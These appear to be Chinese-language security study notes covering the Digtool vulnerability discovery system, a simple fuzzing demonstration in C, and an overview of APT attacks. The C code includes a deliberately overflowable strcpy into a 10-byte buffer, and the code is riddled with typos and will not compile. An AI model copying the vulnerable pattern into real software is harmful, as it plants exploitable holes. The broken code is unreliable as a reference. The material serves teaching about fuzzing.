是第一款利用硬件虚拟化技术的实用化自动漏洞挖掘系统也是款”黑盒漏洞挖掘系统,不需要基于源码即可完成漏洞挖掘更惊艳的一点是,Digtool以实现自动化、批量化工作,可能只需要跑一局游戏,十几个漏洞就挖到了
。挖沙淘金
一样:挖沙
的过程;进而,,Digtool的分析模块进行分析,一旦符合主要的六种漏洞行为特征规则,便实现了一次淘金
,也就意味着找到一个漏洞。/// 编译对应的程序test.exe
void func(char *str)
{
char buff[10];
strepy(buff,str);
}
int main(int argc,char *argv[])
func(argv[1]);
return 0;
}
/// Fuzz程序
int main(int argc,char *argv[])
{
char cmdbuff[2048]={0};
char *test_buff = NULL;
for(int i=1;i<1024;i++)
{
testbuff = new char[];
memset(test_buif,0,i);
memset(test_buf,'c',i-1);
sprintf(cmdbuff,"%S %S","test.exe",tes_tbuf);
system(cmdbuff);
delete test_buff;
}
return 0;
}
//test.exe "c";
//test.exe,"cc";
//test.exe,"ccc";
//...
//test.exe "ccccccccc...c";
//当test_buff超过10个Byte,test.exe很可能就会奔溃,这时候用调试工具调试test.exe,很容易定位到test.exe奔溃的位置
APT攻击
- 高级持续性威胁(Advanced Persistent Threat,ART)攻击
- APT不是一种新的攻击手法,而是对各种攻击方法的综合
使用
- 对象:不是针对普通个人,而是价值很高的公众人物,或者国家。
- 持续性:攻击者为了重要的目标长时间持续攻击直到攻破为止。攻击成功用上一年到三年,攻击成功后持续潜伏五年到十年的案例都有。
- 攻击完全处于动态发展之中,系统不断有新的漏洞被发现,防御体系也会存在一定的空窗期:比如设备升级、应用需要的兼容性测试环境等等,最终导致系统的失守